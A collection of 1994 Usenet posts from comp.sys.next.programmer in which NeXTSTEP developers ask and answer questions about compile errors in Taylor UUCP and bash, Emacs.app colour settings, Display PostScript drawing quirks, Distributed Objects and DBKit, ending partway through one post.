Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: Problems installing Taylor UUCP Message-ID: <1994Apr28.135718.412@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <westes.15.001054F0@netcom.com> Date: Thu, 28 Apr 1994 13:57:18 GMT In article <westes.15.001054F0@netcom.com> westes@netcom.com (Will Estes) writes: > While compiling a module in Taylor UUCP 1.04, I ran into a problem regarding > which of several stat functions to use. Which of the following should be > definied under NS 3.2 FIP? > > /* When Taylor UUCP is talking to another instance of itself, it will > tell the other side the size of a file before it is transferred. > If the package can determine how much disk space is available, it > will use this information to avoid filling up the disk. Define one > of the following macros to tell the code how to determine the > amount of available disk space. It is possible that none of these > are appropriate; it will do no harm to use none of them, but, of > course, nothing will then prevent the package from filling up the > disk. Note that this space check is only useful when talking to > another instance of Taylor UUCP. > > STAT_STATVFS statvfs function > STAT_STATFS2_BSIZE two argument statfs function with f_bsize field > STAT_STATFS2_FSIZE two argument statfs function with f_fsize field > STAT_STATFS2_FS_DATA two argument statfs function with fd_req field > STAT_STATFS4 four argument statfs function > STAT_USTAT the ustat function with 512 byte blocks. > */ > #define STAT_STATVFS 0 > #define STAT_STATFS2_BSIZE 0 > #define STAT_STATFS2_FSIZE 0 > #define STAT_STATFS2_FS_DATA 1 > #define STAT_STATFS4 0 > #define STAT_USTAT 0 > > The above is the default, and it fails to compile. > I did a man fstat, looked at the fields, and then guessed: #define STAT_STATVFS 0 #define STAT_STATFS2_BSIZE 1 #define STAT_STATFS2_FSIZE 0 #define STAT_STATFS2_FS_DATA 0 #define STAT_STATFS4 0 #define STAT_USTAT 0 It compiled. andrew -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
From: levine@oclc.org (Eugene Levine) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Inetd problem in NSI 3.1? Date: 28 Apr 1994 11:45:15 -0400 Organization: OCLC Online Computer Library Center, Inc. Message-ID: <2polmb$qt0@oclc.org> I am having trouble getting inetd under NSI 3.1 to recognize my server program. Mind you this same program, a fat binary compiled on the Intel 3.1 machine (it doesn't work on), works on my block box running 3.2 (via inetd). Some details: The first thing that the server does is to open the console and and write a message to it. This never happens on the Intel but does on the black box. If I run the server from the command line this message does get written to the console on both platforms. I triple checked the config info and all seems to be in order. I also used this server under 3.0. Our black next's went from 3.0 to 3.2. Is there some problem with 3.1's inetd? thanks, -gene -- / E. T. (Gene) Levine OCLC Inc. \ | levine@oclc.org 6565 Frantz Road | | NeXT mail welcome! Dublin, OH 43017 | \ OCLC => "Services for Libraries" (614) 761-5045 /
Newsgroups: comp.sys.next.programmer From: kdburg@incoahe.hanse.de (Klaus Dahlenburg) Subject: Re: Ns 3.2: Broken printf("%g") and strtod("+") Message-ID: <CoxLC0.609@incoahe.hanse.de> Organization: Hanse Networking eV., Hamburg; Germany References: <2ph15j$gaf@fnnews.fnal.gov> <1994Apr26.161600.25485@kakwa.ucs.ualberta.ca> Date: Wed, 27 Apr 1994 18:43:11 GMT michal@gortel.phys.ualberta.ca (Michal Jaegermann) writes: >Robert Daniel Kennedy (kennedy@b0ru01.fnal.gov) wrote: >: Has anyone else noticed that printf("%g") and strtod("+") produce >: incorrect results? >Yes! There is more problems of that sort. This was reported to NeXT >as bugs many times by countless people. Myself I filed a bug report in >2.0 days, or maybe it was 2.1. NeXT is consistently ignoring it. [...] deleted I myself have filed a bug report since 2.1 and as mentioned: it is ignored still with 3.2 the following is incorrect: 1) the functions printf(), sprintf(), fprintf() will return either 0 or EOF but not the characters shipped out. The failure is in the internal routine _doprint() which is broken. Circumvention: replace the above function plus doprint() in libsys_s.a Known since: 2.0 Note: the broken _doprint() is fixed within the printf family by just return 0 or EOF (what a fix ;-) ) furtheron the following also is broken: 2) The functions gethostbyname() and gethostbyaddr() post any errors in the variable h_errno, which can be printed with herror() (like errno with perror() ). The runtime module _herror however is missing from libsys_s.a. Circumvention: add herror() to libsys_s.a Known since: 2.0 Klaus ++EOM++ --
From: jsowers@wsc.com (Justin Sowers) Newsgroups: comp.sys.next.programmer Subject: Help using the subprocess object... Date: 28 Apr 1994 15:31:27 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2poksf$g9l@cerberus.wsc.com> Keywords: examples, subprocess, NeXTSTEP I am new to NeXTSTEP programming and OO, and am embracing it whole-heartedly, but I'm also having to unlearn alot of bad DOS (boo hiss) habits. I have the original subprocess example by Oei, but would like further examples, as well as advice, and suggestions from the more experienced out there. I'm figuring out things slowly, but surely... But a little nudge in the right direction couldn't hurt ;-) -jsowers@wsc.com
From: cahalan@clouds.gsfc.nasa.gov (Robert F. Cahalan) Newsgroups: comp.sys.next.programmer Subject: latex2html anyone? (requires dvips 5.516 and ghostscript 2.6.1) Date: 28 Apr 1994 16:36:37 GMT Organization: NASA Goddard Space Flight Center -- InterNetNews site Distribution: world Message-ID: <2poomm$s5q@paperboy.gsfc.nasa.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Has anyone successfully installed latex2html on a 68040 NeXT? This is the package which allows you to converst a dvi file to html, allowing equations and other TeX structures to be included in html files. It requires perl and pbmplus, which I have, but also dvips 5.516 and ghostscript 2.6.1, which I don't have. If anyone has these, or knows a workaround, please let me know! Many thanks! --Bob-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .Dr. Robert F. Cahalan (Bob)...#..Laboratory for Atmospheres...... .cahalan@clouds.gsfc.nasa.gov..#..NASA-Goddard Space Flight Center .*** NeXTMail accepted ***.....#..Greenbelt, MD 20771............. .FAX: (301) 286-1627...........#..voice: (301) 286-4276........... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: bhill@physics.ucla.edu (Brian Hill) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 28 Apr 1994 18:18:10 GMT Organization: Dept. of Physics, UCLA Message-ID: <BHILL.94Apr28111810@spike.physics.ucla.edu> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.CSU.net> <ROBERT.94Apr27140203@steffi.demon.co.uk> <CEDMAN.94Apr27194437@capitalist.princeton.edu> In-reply-to: cedman@princeton.edu's message of Wed, 27 Apr 1994 23:44:36 GMT Carl Edman <cedman@princeton.edu> writes: > In article <ROBERT.94Apr27140203@steffi.demon.co.uk> > robert@steffi.demon.co.uk (Robert Nicholson) writes: Carl, Is it > possible to map colors from an NXColorPanel to those that Emacs > understands? Perhaps that's another thing that could be done? It > would be really cool if "faces" accepted swatches :-) > Yes, that could be added and is on the wish list for the next > release now. I didn't realize that so many people would want to > play with colors in Emacs. :-) In any case, you can already use > all the names in all the standard NS color lists (in addition to > those in Emacs.clr). IMHO, any app that takes up a lot of screen acreage should allow the user to set the background color to something other than blazing white. On mono machines, white is fine. On color machines, it is the brightest of all 256^3 possible colors and I don't like staring at 500,000 or so pixels of it. AntiqueWhite complements the Gnu in Emacs.app's icon :) --Brian Hill
Newsgroups: comp.sys.next.programmer From: jerald@mrk.com (Jerald Dawson) Subject: Possible Programming Project Message-ID: <CozCot.57C@mrk.com> Sender: jerald@mrk.com (Jerald Dawson) Organization: Investor's Advantage Distribution: usa Date: Thu, 28 Apr 1994 17:31:40 GMT Hi all, We have a need for a small app here that we really don't have the time to write. I was wondering what the possiblity was of subcontracting out to have this program written for us. The app that we want written is a graphing app for graphing the Open / High / Low / Close of commodity data. The special thing about this is that we want it to conform to certain protocols so it can connect to our custom database app that stores the data through DO. Does anyone have any thoughts on this? For all I know there might be something out there that we can buy that will do what we want. We were figuring that this would be something that a student could do that would give them some experience and make them some money at the same time. Anyone interested? EMail me if you want to find out more about this. PS. It might take a few days for me to get back on you because I'm pretty busy. -- jerald dawson * Systems Manager/Head Programmer * Investor's Advantage NeXTmail - jerald@mrk.com | phone - (708) 487-3221 | Don't blame me. I voted for Bush.
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: Re: A plea from a notebook user - window sizing! Date: 28 Apr 1994 14:16:22 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9404271745.AA06375@flexus> LS, > Given the new ability to use different screen dimensions, > the dependency on pel sizes for icons is another problem > which is specifically inside NeXTSTEP. >>>>> A avant-premiere peek at KBNS.32.1... PostScript Deficiencies KBNS.00.0.111_o3.0o_o3.2o WYSIWYG Description: If a MegaPixel screen (or any other) is such a great high-resolution WYSIWYG display, why aren't NeXT's applications capable of displaying things at true size (Edit, Preview!!!), though probably not by default because of limited screen real estate (a switch and/or default could decide what to do)? Now the whole situation about a 92-ppi MegaPixel display is as if it were a shrunken 72-dpi screen! Of course, the GUI elements themselves (icons!) still need windowdeviceround space, but local WYSIWYG should definitely be possible. How to verify: Just compare a Preview.app image with a printed page. Urgency: Seems very important to me... Confirmed: Raf_Schietekat (o3.0o_o3.2o, reported) Workaround: Something like ``0 0 0 0 Nonretained window windowdevice 1 0 currenttoscreen pop currentwindow termwindow'', probably (will this work in OpenStep?)... This produces, on the operand stack, the scale factor to apply in a windowdeviceround window to get real WYSIWYG. Cure (for NeXT): Add real WYSIWYG at least to Edit and Preview. Provide a better way to get WYSIWYG (where to find this factor more easily, and maybe an extension to View to scale to WYSIWYG). Report history: KBNS.32.1.rev Raf_Schietekat complained for o3.0o that DPS didn't know the pixel pitch (in a different category), but this was probably wrong. This is a more accurate account (for o3.2o at least...). <<<<< Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again)
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: Re: scan conversion details in NEXTSTEP's implementation of DPS Date: 28 Apr 1994 14:16:22 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9404281727.AA01331@flexus> > The DPS manual ``Extensions for the Display PostScript > System'', even as part of the ``NeXT Developer's > Library'', says that pixels and shapes include their left > and bottom borders. Yet Pre3.0_Concepts/04_Drawing.rtfd > says that pixels and shapes include their left and *top* > borders (MegaPixel display and 400-dpi NeXT printer), > and this is exactly the behaviour that is observed in > NS_3.2 (MegaPixel display). Apart from my perception that > this is rather cumbersome (not to say ridiculous), isn't > this also a violation of the DPS specification? Do other > NEXTSTEP implementations do the same thing? When is this guy going to stop his NeXT-bashing? Before you write things like this to c.s.n.p, read your stuff carefully: the DPS manual is about device space. And device space on a MegaPixel display happens to be origin-in-upper-left-corner (do ``matrix currentmatrix ==''). Don't like that? Tough luck, but it sure ain't no bug. Ahum, it's me again, folks. I hope I can live with this (I guess I'm going to have to rectfill from now on, instead of stroke lines). But I've found a rather more disturbing phenomenon: 2 2 moveto 0 0 rlineto stroke % this draws just one pixel (2,1) in windowdeviceround space % (this is not device space, but origin-in-lower-left-corner) % OK, that seems logical, considering what device space is, % relative to windowdeviceround space false setstrokeadjust 2 2 moveto 0 0 rlineto stroke % this draws nothing, niente, nichts, rien! % why????? What's going on? Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again)
From: bhill@physics.ucla.edu (Brian Hill) Newsgroups: comp.sys.next.programmer Subject: Re: bash-1.13.5, gzip-1.2.4 Date: 28 Apr 1994 19:18:57 GMT Organization: Dept. of Physics, UCLA Distribution: world Message-ID: <BHILL.94Apr28121857@spike.physics.ucla.edu> References: <BHILL.94Apr28113222@spike.physics.ucla.edu> In-reply-to: bhill@physics.ucla.edu's message of 28 Apr 1994 18:32:22 GMT >>>>> "I" == Brian Hill <bhill@physics.ucla.edu> writes: I> The -DHAVE_RESOURCE fix for bash-1.12 has been included in the I> fsf's distribution of bash-1.13.5. I> However, compilation once again bombs under NS 3.2. Does someone I> know of a fix? bash-1.12 is the most recent version on orst. If I> no, I will send a log of the compilation problems to the fsf. Here is the actual error: cc -O -g -DHAVE_VFPRINTF -DHAVE_UNISTD_H -DHAVE_STDLIB_H -DHAVE_LIMITS_H -DHAVE_GETGROUPS -DHAVE_RESOURCE -DVOID_SIGHANDLER -DHAVE_RESOURCE -DMKFIFO_MISSING -DHAVE_WAIT_H -DHAVE_DUP2 -DHAVE_STRERROR -DHAVE_DIRENT_H -DHAVE_STRING_H -DHAVE_VARARGS_H -DHAVE_STRCHR -D"NeXT" -D"Bsd" -DSHELL -DHAVE_ALLOCA -I. -I./lib/ -c getcwd.c getcwd.c:159: undefined type, found `DIR' make[1]: *** [getcwd.o] Error 1 make[1]: Leaving directory `/Users/bhill/archive/bash-1.13.5' make: *** [all] Error 1 export CPP="cc -E" doesn't help. I> Similarly for gzip-1.2.4. The -DNO_UTIME_H fix given in the INSTALL file solves the problem.
Newsgroups: comp.sys.next.programmer From: david@snoopy (David Vazquez) Subject: Re: Help on Compiling C++/ObjC code Message-ID: <1994Apr28.183643.21254@cs.uno.edu> Sender: news@cs.uno.edu Organization: University of New Orleans References: <2pjrnb$225@charm.magnus.acs.ohio-state.edu> Distribution: usa Date: Thu, 28 Apr 1994 18:36:43 GMT Waihon A Kwong (wkwong@magnus.acs.ohio-state.edu) wrote: : Hi all, : I have just rewritten my C++ codes, but the compile can't seem to find the : functions like "cin", "cout".....I'm using NS3.2 and I thought C++ support : is build-in, am I missing something? Did you link in libg++.a via -lg++? : Any clue would be appreciated. : Thanks, : Andy : -- : //|| // @ E-mail: wkwong@magnus.acs.ohio-state.edu : // || // @ : //==||/\\ @ "If you put your mind to it, you can accompish anything!" : // || \\ @ "BUT MY NeXTMAIL IS NOT WORKING YET!!!!!!!!!!!!!" -David Vazquez "david@smobject.com"
From: bhill@physics.ucla.edu (Brian Hill) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 28 Apr 1994 18:01:12 GMT Organization: Dept. of Physics, UCLA Distribution: world Message-ID: <BHILL.94Apr28110112@spike.physics.ucla.edu> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BHILL.94Apr26122041@spike.physics.ucla.edu> <CEDMAN.94Apr27151402@capitalist.princeton.edu> In-reply-to: cedman@princeton.edu's message of Wed, 27 Apr 1994 19:14:00 GMT I'm sold and have upgraded from Emacs-3.0.1 to Emacs-4.0. Now if you could comment on a long-standing problem for windowing versions of emacs: Neither Emacs-4.0 nor emacs under X is launched from a shell that knows about my environment variables, such as TEXINPUTS. There is a simple fix for this in both X and in versions of Emacs.app prior to 4.0. In the latter case, there was a preference to select the emacs to run inside Emacs.app. I set it to run the following script #!/bin/bash . ~/.bashrc exec /usr/local/bin/emacs-19.22 $@ The analogous thing does _not_ work in Emacs-4.0 (see footnote). What is the recommended solution (other than maintaining copies in my .emacs file of all the (often site-dependent) environment variables I find useful). Thanks. --Brian Hill Footnote: The analogous thing would be to move the executable /LocalApps/Emacs.app/Emacs to /LocalApps/Emacs.app/edmansEmacs and to create a script /LocalApps/Emacs.app/Emacs consisting of #!/bin/bash . ~/.bashrc exec /LocalApps/Emacs.app/edmansEmacs $@ In retrospect, trying this was a little silly. The workspace thinks two Emacs's are going, the first of which never finishes launching until the second one quits.
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Which libraries would be best to subclass from ? Message-ID: <1994Apr27.151621.17626@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2pcfti$6l7@nic-nac.CSU.net> Date: Wed, 27 Apr 1994 15:16:21 GMT Emmett, Bill has the right of it (and he's one sharp cookie! He's the author of of StoneDesign's 3DReality, the CrashCatcher tool, and MCSolitiare). He's no OOP lightweight. Personally, I have problems with drawing in Cells because depending upon their superview, you have to translate the drawing. That always screws me up. I'd be interested in seeing the final product, if possible. I assume that this app is a learning exercise for you and some other folks. If I can be any help, drop me a line.... Rik (cousens@biztech.com) In article <2pcfti$6l7@nic-nac.CSU.net> mclean@futon.SFSU.EDU (Emmett Mclean) writes: > > > Hi, > > I'm am working with 2 other programmers to create a version of > Hangman using NeXTSTEP tools. All of us are new to NeXTSTEP and > have a copy of Garfinkel & Mahoney. > > We've looked at the public domain version of Hangman but > but we don't want to take that game and put on a NeXTSTEP front > end it, rather, we want to subclass off of existing NeXTSTEP libraries > to handle things like the positions of the appearances of guessed > letters. > > We are seeking suggestions as to which classes might be well > suited for subclassing. > > Does anyone have suggestions on which subclasses are best to subclass > from ? > > Other suggestions will be helpful. Please do not send your own hangman. > > Thanks, > > > -e > >
Newsgroups: comp.sys.next.programmer From: keithw@fiji.umhc.umn.edu (Keith Willard) Subject: DO, NXTranport, and archiving Message-ID: <CozDJI.By@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Twin Cities Distribution: comp Date: Thu, 28 Apr 1994 17:53:56 GMT I am new to using distributed objects so if there is an obvious answer to this question please forgive: Why does the NXTransport stuff for copying (not proxy creating) ignore the archiving system for the object hierarchy and reproduce yet another approach to packaging up an object? It seems reasonable to me that any object that knows how to archive itself should automatically be able to be copied over the wire in DO. In fact I have found its not too uncommon for folks that have been doing DO a while to occasionally archive up a complicated object in a typed memory stream and encapsulate it in a NXData object for sending over the wire when they want a local copy rather than a proxy. This approach works but requires explicit archiving and unarchiving code on both sides of the wire each situation you want to do this in. As an alternative it seem reasonable to embed the archiving stuff in the NXTranport protocol to begin with. A sketch of this approach is as follows: add the following methods as categories to your favorite objects (i am not including the encodeRemotely method here since it is just uninteresting boilerplate), - encodeUsing:(id <NXEncoding>)portal { char *buffer; int length; id aNXData; buffer=NXWriteRootObjectToBuffer(self, &length); aNXData=[[NXData alloc]initWithData:(void *)buffer size:(unsigned) length dealloc:(BOOL) YES]; [portal encodeObjectBycopy:aNXData]; //[aNXData free]; return self; } - decodeUsing:(id <NXDecoding>) portal { id aNXData; id newSelf; aNXData=[portal decodeObject]; newSelf=NXReadObjectFromBuffer([aNXData data], [aNXData size]); [aNXData free]; return newSelf; } This approach appears to work well *except* for (at least) one real glaring problem. If I free up the buffer I created in the archiving process in the encodeUsing method (uncomment the last line) it destroys things too soon. If I don't then I leak every time a copy is sent over the wire on the server side. I could do a perform:with:afterDelay: type of thing but this would not be coupled to a guaranteed successful delivery of the object to the client. Any suggestion as to how to do this better, and why it wasn't already done for us? ---------------------------------- Keith Willard University of Minnesota Department of Laboratory Medicine & Pathology <keithw@tahiti.umhc.umn.edu>
From: davechao@cteq07.pa.msu.edu (David Bowser-Chao) Newsgroups: comp.sys.next.programmer Subject: Installing Emacs-4.0 under NS 3.0, but having problems w/sed Date: 28 Apr 1994 18:13:23 GMT Organization: Michigan State University Distribution: world Message-ID: <2pouc3$s04@msuinfo.cl.msu.edu> References: <BHILL.94Apr28110112@spike.physics.ucla.edu> I'm installing Emacs 4.0 on a NS3.0 system - but I had to modify the option-handling sed script in "configure" because sed wasn't correctly parsing echo --with-x | sed 's:^-*\([^=]*\).*$:\1:' and outputting "with-x" correctly. Is this a problem with sed, or what? We've had other random problems with sed before, but since I use perl, I haven't worried about it before now. Thanks, David
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: davis@sonata.cc.purdue.edu (Robert Davis) Subject: Re: Hints on using Emacs for NeXTstep Sender: news@mozo.cc.purdue.edu (USENET News) Message-ID: <CozJtr.rnJ@mozo.cc.purdue.edu> Date: Thu, 28 Apr 1994 20:05:51 GMT References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <ROBERT.94Apr27140203@steffi.demon.co.uk> <CEDMAN.94Apr27194437@capitalist.princeton.edu> <BHILL.94Apr28111810@spike.physics.ucla.edu> Organization: Purdue University, West Lafayette, IN In article <BHILL.94Apr28111810@spike.physics.ucla.edu>, Brian Hill <bhill@physics.ucla.edu> wrote: > >IMHO, any app that takes up a lot of screen acreage should allow the user >to set the background color to something other than blazing white. > >On mono machines, white is fine. On color machines, it is the >brightest of all 256^3 possible colors and I don't like staring >at 500,000 or so pixels of it. > >AntiqueWhite complements the Gnu in Emacs.app's icon :) --Brian Hill > Okay, give this a try: dwrite Emacs Background somecolor dwrite Emacs DefaultBackground somecolor dwrite Emacs DefaultForeground someothercolor where "somecolor" and "someothercolor" are listed in one of your .clr files in /NextLibrary/Colors or in Emacs.clr. Rob -- | Robert Davis davis@sonata.cc.purdue.edu | "Look up, Hannah." NeXT Mail accepted --
From: bhill@physics.ucla.edu (Brian Hill) Newsgroups: comp.sys.next.programmer Subject: bash-1.13.5, gzip-1.2.4 Date: 28 Apr 1994 18:32:22 GMT Organization: Dept. of Physics, UCLA Distribution: world Message-ID: <BHILL.94Apr28113222@spike.physics.ucla.edu> The -DHAVE_RESOURCE fix for bash-1.12 has been included in the fsf's distribution of bash-1.13.5. However, compilation once again bombs under NS 3.2. Does someone know of a fix? bash-1.12 is the most recent version on orst. If no, I will send a log of the compilation problems to the fsf. Similarly for gzip-1.2.4. Thanks. --Brian Hill
From: bhill@physics.ucla.edu (Brian Hill) Newsgroups: comp.sys.next.programmer Subject: Re: bash-1.13.5, gzip-1.2.4 Date: 28 Apr 1994 20:34:10 GMT Organization: Dept. of Physics, UCLA Distribution: world Message-ID: <BHILL.94Apr28133410@spike.physics.ucla.edu> References: <BHILL.94Apr28113222@spike.physics.ucla.edu> <BHILL.94Apr28121857@spike.physics.ucla.edu> In-reply-to: bhill@physics.ucla.edu's message of 28 Apr 1994 19:18:57 GMT >>>>> "I" == Brian Hill <bhill@physics.ucla.edu> wrote: I> However, compilation [of bash-1.13.5] once again bombs under NS 3.2. I> cc -O -g -DHAVE_VFPRINTF -DHAVE_UNISTD_H -DHAVE_STDLIB_H I> -DHAVE_LIMITS_H -DHAVE_GETGROUPS -DHAVE_RESOURCE -DVOID_SIGHANDLER I> -DHAVE_RESOURCE -DMKFIFO_MISSING -DHAVE_WAIT_H -DHAVE_DUP2 I> -DHAVE_STRERROR -DHAVE_DIRENT_H -DHAVE_STRING_H -DHAVE_VARARGS_H I> -DHAVE_STRCHR -D"NeXT" -D"Bsd" -DSHELL -DHAVE_ALLOCA -I. -I./lib/ I> -c getcwd.c getcwd.c:159: undefined type, found `DIR' bash-maintainers@prep.ai.mit.edu responded with: add `#undef HAVE_DIRENT_H' to the next description in machines.h.
Newsgroups: comp.sys.next.programmer From: westes@netcom.com (Will Estes) Subject: Another Taylor UUCP Compile Problem Message-ID: <westesCozIBK.A9E@netcom.com> Organization: Mail Group Date: Thu, 28 Apr 1994 19:33:20 GMT During compile of the picksb.c module in the unix subdirectory off the install directory, I get: picksb.c.57: undefined type, found `DIR' picksb.c.63: undefined type, found `DIR' The relevant lines around line 57 from picksb.c are: #if HAVE_OPENDIR #if HAVE_DIRENT_H #include <dirent.h> #else /* ! HAVE_DIRENT_H */ #include <sys/dir.h> #define dirent direct #endif /* ! HAVE_DIRENT_H */ #endif /* HAVE_OPENDIR */ #if GETPWUID_DECLARATION_OK #ifndef getpwuid extern struct passwd *getpwuid (); #endif #endif /* Local variables. */ /* Directory of ~/receive/USER. */ static DIR *qStopdir; What's the workaround? -- Will Estes Internet: westes@netcom.com
From: blake015@mc.duke.edu(Denise Blakeley) Newsgroups: comp.sys.next.programmer Subject: Need help printing a SwapView Date: 28 Apr 1994 20:50:03 GMT Organization: Duke University; Durham, N.C., USA Message-ID: <2pp7hr$3uk@news.duke.edu> I'm using the public-domain SwapView class written by Greg Burd. Has anybody else attempted to print the contentViews that are swapped? I have several windows--each in a nib with its own controller--whose contentView may be swapped into the SwapView on a main window. This swapping occurs just fine. I am required to print these windows with a "header" of information at the top, so I have a PrintController which takes care of this by having another window with the header and a "body" area where I put a given window's contentView. I then do a smartPrintPSCode: of this whole window, and that's my printed page. The problem is, as soon as the window for a given controller is printed, it no longer swaps in--I get a blank (gray) area instead! I've tracked the problem down to this area of SwapView.m: - swapIt:inspector { NXRect theFrame; int gstate; id aView; /* make sure that it is a new view to swap in */ if (lastPanel != inspector) { if (lastPanel) { /* remove old inspector from view hierarchy */ aView = [lastPanel contentView]; [aView removeFromSuperview]; /* and put it back where it came from */ [lastPanel setContentView:aView]; } /* update the offscreen view */ [inspector display]; . . . Can somebody shed some light on why something as innocent as printing would affect this so? I'll be glad to share more of my own code details if you need more explanation; it's hard to just describe in a few words... Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 286-6468 W | reward. blake015@mc.duke.edu | NeXTMail welcome!
From: mcgredo@crl.com (Donald R. McGregor) Newsgroups: comp.sys.next.programmer Subject: Finding hardware and OS version Date: 28 Apr 1994 14:13:48 -0700 Organization: YoyoDyne Propulsion Systems Message-ID: <2pp8uc$c4s@crl.crl.com> References: <westesCozIBK.A9E@netcom.com> Is there an approved way to determine (1) the hardware NeXT is running on (Moto, Intel, HP, etc), and (2) the OS version? I don't see anything in the release notes or summaries. -- Don McGregor | "If there is a God, the Cardinal de Richelieu will have much mcgredo@crl.com | to answer for. If not...well, he had a successful life."
From: bhill@physics.ucla.edu (Brian Hill) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 28 Apr 1994 21:20:50 GMT Organization: Dept. of Physics, UCLA Message-ID: <BHILL.94Apr28142050@spike.physics.ucla.edu> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <ROBERT.94Apr27140203@steffi.demon.co.uk> <CEDMAN.94Apr27194437@capitalist.princeton.edu> <BHILL.94Apr28111810@spike.physics.ucla.edu> <CozJtr.rnJ@mozo.cc.purdue.edu> In-reply-to: davis@sonata.cc.purdue.edu's message of Thu, 28 Apr 1994 20:05:51 GMT >>>>> "Robert" == Robert Davis <davis@sonata.cc.purdue.edu> writes: Robert> In article <BHILL.94Apr28111810@spike.physics.ucla.edu>, Robert> Brian Hill <bhill@physics.ucla.edu> wrote: >> IMHO, any app that takes up a lot of screen acreage should allow >> the user to set the background color to something other than >> blazing white. >> >> On mono machines, white is fine. On color machines, it is the >> brightest of all 256^3 possible colors and I don't like staring at >> 500,000 or so pixels of it. >> >> AntiqueWhite complements the Gnu in Emacs.app's icon :) Robert> Okay, give this a try: Robert> dwrite Emacs Background somecolor Robert> dwrite Emacs DefaultBackground somecolor Ropert> dwrite Emacs DefaultForeground someothercolor Robert> where "somecolor" and "someothercolor" are listed in one of Robert> your .clr files in /NextLibrary/Colors or in Emacs.clr. You misunderstood. I know colors are user-selectable, and I am using one (AntiqueWhite). To be clearer, my statement is that I am happy that as of version 4.0 Emacs.app supports color preferences and I wish this was more often the case with other editing and viewing applications. Let's continue with color wish lists: Some users log into both black and white and color machines using the same account. For them, a single background color preference may be inadequate. For example, NeXT provides both owner property default value NeXT1 BWBackgroundColor "0.333338 0.333338 0.333338" NeXT1 BackgroundColor "light corporate blue-steel" so that users can independently select their Workspace window color for various hardware. Perhaps Emacs-4.0 and other apps should emulate this? --Brian
From: gt6963c@prism.gatech.edu (John) Newsgroups: comp.lang.smalltalk,comp.sys.next.programmer Subject: Re: Smalltalk and NeXT Step Development Date: 28 Apr 1994 18:34:07 -0400 Organization: Georgia Institute of Technology Message-ID: <2ppdkv$7ui@acme.gatech.edu> References: <Coz5zJ.72A@dvorak.amd.com> <Cozn5A.Jwy@dvorak.amd.com> charles.herrick@amd.com writes: >In article <Coz5zJ.72A@dvorak.amd.com> charles.herrick@amd.com writes: >> In article <tjspiel.767504654@maroon> tjspiel@maroon.tc.umn.edu (Tom J Spiel) >> writes: >> > I'm interested in getting the opinions of those people out there who have >> > done both NeXTStep and Smalltalk development, especially with Database >> > applications. >> >> I've done both, including OODB. >> >i.e, let's discuss it here What I'd really like to see/know about is st80 for Nextstep, with the tools for building next-interface applications. (something like visualworks, with Nextstep looks in addition to the other looks). It would especially be nice if you could run them from icons. But, even if you can just do regular st80 stuff, I'd like to see smalltalk on nextstep. Anyone know of such a beastie? (I've been working with smalltalk a little..and now I get to transition to objective c. I know c real well..some c++.. and I've read through teh nextstep book on objective c. So, anyone have any pointers for me? I also need to learn how to use the nextstep application builder tools) John -- John "Kzin" Rudd gt6963c@prism.getech.edu (ex-kzin@cc.gatech.edu) Ascii Mail only (no Nextmail) (ex-kzin@ucscb.ucsc.edu) ========Intel: Putting the backward in backward compatable.===============
From: joe@retina.anatomy.upenn.edu Newsgroups: comp.sys.next.programmer Subject: DBKit: to(o)-many woes! Date: 28 Apr 1994 22:56:30 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2ppeuu$qrb@netnews.upenn.edu> Problem: fetching across a to-many relationship I am working with two Entities: Jobs and Parts The are related through a to-many relationship from Jobs to Parts based on the id (primary key) of Jobs This looks like: Jobs.toParts.job_id I am trying to setup a master-detail relationship between the recordlists Jobs(Master)->Parts(detail). These are represented in IB as two separate DBModules. I send fetchUsingQualifier to the Jobs module. This works properly. (it should return 1 row, and does). I then get from the jobs recordlist the DBValue of the Property for the to-many relationship and pass it as an argument in the fetchContentsOf:usingQualifier: message to the detail fetchGroup. The detail fetchGroup fetches a row, but it is not the right row-- it is arbitrary. I have sampled a large amount of data with the same result. Here iis the code: // assume the FetchGroups, Database, and Qualifier 